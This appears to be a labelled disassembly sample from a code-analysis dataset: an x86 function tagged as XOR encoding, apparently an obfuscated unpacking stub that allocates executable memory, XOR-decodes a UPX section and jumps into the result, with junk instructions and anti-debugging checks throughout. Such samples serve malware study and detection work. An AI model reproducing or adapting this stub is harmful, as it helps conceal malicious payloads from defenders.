Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x17ceea83
inc esi
add ecx, esi
or ecx, esi
popal
not ecx
add esi, 0xd6581718
mov esi, 0x8f177c4f
mov ecx, 0
mov ebx, esi
mov edx, 0x6ab365cd
mov edx, 0xf629b16c
sub edx, eax
mov edi, ebx
dec eax
add edx, edx
mov esi, edi
add eax, eax
not edx
inc ecx
mov edx, 0xcce7857a
sub eax, 0x789c0e39
cmp ecx, 0x1008188
jne 0x47afd6
sub edx, 0xdcd79fe0
dec eax
cmp ecx, 0x1008188
je 0x47b01d
mov ebx, 0
mov eax, dword [ebx]
or eax, eax
sub edx, 0x77ee5ff0
or edx, eax
not ecx
mov ecx, 0xc115c112
mov ecx, 0x47ada2
sub eax, edx
and edi, eax
mov esi, 0x47af96
and edx, edi
and edi, edi
mov ebx, dword [ecx]
not edi
sub eax, edi
sub eax, 0xb35cfb46
and ebx, 0xff
sub edx, 0x29966e75
and edx, eax
not edx
xor dword [esi], ebx
and eax, edx
sub edx, 0xd59e47ee
inc esi
sub eax, 0xcc2e8ec6
add edi, edi
inc ecx
inc edx
inc eax
mov edi, edx
cmp esi, entry0
jl 0x47b040
sub eax, 1
sub edx, eax
sub edx, eax
add eax, edi
and edi, edi
mov edx, 0x51a8ae86
sub edi, ebx
or ebx, edi
dec ecx
mov edx, 0x47af9a
sub edi, esi
add esi, 0x552dec7d
mov edx, dword [edx]
add ebx, esi
add esi, 1
mov edx, dword [edx]
mov esi, 0x6e10c87c
sub esi, 0x74967ab1
dec edi
sub esp, 4
mov dword [esp], edx
sub ebx, 1
mov ecx, 0x338f05ef
mov edx, 0x47af96
mov ecx, 0x8662e723
not ebx
inc esi
mov edx, dword [edx]
sub edi, 0xfcaafe8f
add edi, ebx
add ebx, 0xf2ba8ae0
mov edx, dword [edx]
or ebx, ecx
sub esi, 0x804b3269
push 0x47af9e
dec esi
add esi, edi
call edx
add ecx, 0xa1ac5761
mov ebx, 0xe5b66737
sub edi, 0x48c0dabe
pop edx
add esi, 0x9c74c42a
add ecx, edi
sub esp, 4
mov dword [esp], 0x47afab
inc edi
sub esi, 0xa0a2a619
sub esp, 4
mov dword [esp], eax
or ecx, ebx
and edi, edi
dec ecx
call edx
mov edi, 0x5eea20e1
sub ebx, edi
sub esp, 4
mov dword [esp], 0x40
not esi
sub edi, esi
sub esi, edi
push 0x3000
or ecx, ebx
mov esi, ebx
push 0x20000386
dec ecx
or ebx, esi
push 0
mov edi, 0xf5ed8ec4
mov edi, 0x68e56b74
sub ecx, esi
call eax
not ebx
or ebx, ecx
sub ecx, 0xea497879
add eax, 0x200002d9
dec esi
inc ebx
mov edx, 0xd383900b
mov ebx, 0xbac85d4f
mov edi, 0xd87e5fb6
mov dword [eax], edx
mov ebx, 0xeed30c48
sub ebx, 0xd7a321c1
mov edx, dword [eax]
not edi
sub esi, edi
mov esi, 0xb010dcc0
cmp edx, 0xd383900b
je 0x47b1ba
mov edx, 0
mov eax, dword [edx]
or ebx, edi
inc edi
not ecx
add ebx, esi
sub esi, 0x81e3832f
sub esi, edi
mov esi, 0x9d30d700
add esi, ecx
sub ecx, 1
mov eax, section.UPX1
add ecx, esi
or esi, esi
mov ebx, 0x47ada1
mov esi, ecx
not ecx
add esi, 0xcf128e09
mov edx, 0
mov esi, ecx
or ecx, esi
mov edi, 0x47ada2
inc ecx
inc esi
or ecx, esi
lea edi, [edi + edx]
and esi, esi
mov esi, 0x5322f1ee
mov edi, dword [edi]
sub ecx, 0xc72dd8cc
sub esi, ecx
mov esi, ecx
and edi, 0xff
sub ecx, 0xd1dfc095
mov esi, ecx
add ecx, 0x87f24625
inc edx
not ecx
add esi, 0xa65b47ad
cmp edx, 0x1f4
jne 0x47b240
mov edx, 0
mov ecx, esi
sub esi, ecx
not ecx
and ecx, ecx
xor dword [eax], edi
sub ecx, esi
mov ecx, esi
sub esi, 0x920dcac4
add eax, 2
mov esi, ecx
mov ecx, esi
add ecx, 1
cmp eax, ebx
jl 0x47b1f7
add ecx, 0x5bdd7819
add esi, esi
add ecx, 0xb8b19159
and esi, ecx
mov eax, section.UPX1
and edi, edi
dec edx
add edi, edx
mov esi, section.UPX1
add edx, 0x77f01bac
add edx, 0x7bf22536
or edi, edi
mov ecx, 0x47ada1
mov edx, 0x55425826
inc edx
and edx, edx
mov ebx, 0
and edx, edx
add edi, edi
inc edi
mov bl, byte [esi]
or edi, edi
sub edx, 1
and edi, edi
mov byte [eax], bl
add edi, 0xfd9cf720
not edx
inc edx
add eax, 1
inc edi
and edx, edi
or edi, edi
add esi, 2
mov edi, 0x3e82a2be
and edx, edi
sub edx, 0xae1a5bfb
cmp esi, ecx
jle 0x47b2b0
mov edi, edx
sub edi, 0x91323cac
and edx, edx
add ecx, esi
add esi, ecx
add ecx, 0x75fa0cc5
push 0x45e6a0
add ecx, 1
dec ecx
ret